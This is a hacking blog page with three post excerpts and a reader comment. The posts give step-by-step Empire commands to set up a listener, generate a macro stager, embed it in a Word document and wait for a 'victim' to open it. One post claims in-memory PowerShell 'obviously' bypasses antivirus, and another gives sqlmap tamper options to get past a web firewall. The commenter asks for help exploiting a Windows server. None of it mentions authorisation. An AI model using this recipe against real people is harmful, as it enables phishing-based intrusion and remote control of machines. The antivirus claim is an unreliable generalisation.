j3ssie's Blog

UnknownJuly 18, 2018 at 5:57 AM
yew bro, i need a help on exploiting a windo server. if you can be any help please inbox me thanks

ReplyDelete
Replies

Add comment

Hack windows through Office file using powershell attack

By j3ssie July 27, 2017

[*] Hack windows through Office file using powershell attack [*] - You need to install Empire to create macro code (check video Config Empire ). - Config listener on empire: ./empire listeners uselisteners http_com set Name <listener_name> set Port <listener_port> execute - Create macro code: usestager windows/macro < listener_name > set OutFile <Output_path> execute - Embedded macro to Office file: Word --> View --> Macro --> Copy your macro code. - Wait for victim run office file. => And you got a victim. [*] Video Demo:

Get link
Facebook
X
Pinterest
Email
Other Apps

31 comments

How to config and use Empire 2.0 to perform powershell attack

By j3ssie July 26, 2017

[*] How to config and use Empire 2.0 to perform powershell attack [*] [!] Note: PowerShell can be run in memory where antivirus can’t see it, so it obviously bypass antivirus. - Clone and install Empire. git clone https://github.com/EmpireProject/Empire cd Empire/setup ./install.sh - How to use Listener. ./empire listeners uselisteners <type_of_listener> set Name <listener_name> set Port <listener_port> set DefaultDelay <delay_time> info execute - How to use stager. main usestager <stager_name> < listener_name > info [set <variable> <value>] [info] execute => Payload have been create. - Send payload to your victim. - Wait for victim run payload and get agents. - Interact with agent. agents interact <agents_name> rename <agents_name_you...

Get link
Facebook
X
Pinterest
Email
Other Apps

39 comments

Advanced Sqlmap - Metasploit for SQL Injection.

By j3ssie November 04, 2017

Advanced Sqlmap - Metasploit for SQL Injection. [?] What is SQL Injection? I'm not describe what is SQL Injection in this post, please check https://www.owasp.org/index.php/SQL_Injection [?] Why we use sqlmap? - This is a automatic SQL injection tool. - Provide many advanced technique that I'll show you in this post. - Open source and highly scalable. - Easy to install. [*] Sqlmap source https://github.com/sqlmapproject/sqlmap All you need is python 2.x and Internet connection: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev [*] Well, now I'm gonna show you some advanced technique. [Bypass WAF using sqlmap tamper script] python sqlmap.py -u 'http://example.com/product?id=1’ -p 'id' --level=5 --risk=3 --tamper=apostrophemask,apostrophenullencode --timeout=25 --time-sec=25 --random-agent --dbs You can also use more tamper script but it depend on your victim DBMS. ( use too much tamper script is not RECOMMEND ) Here is ...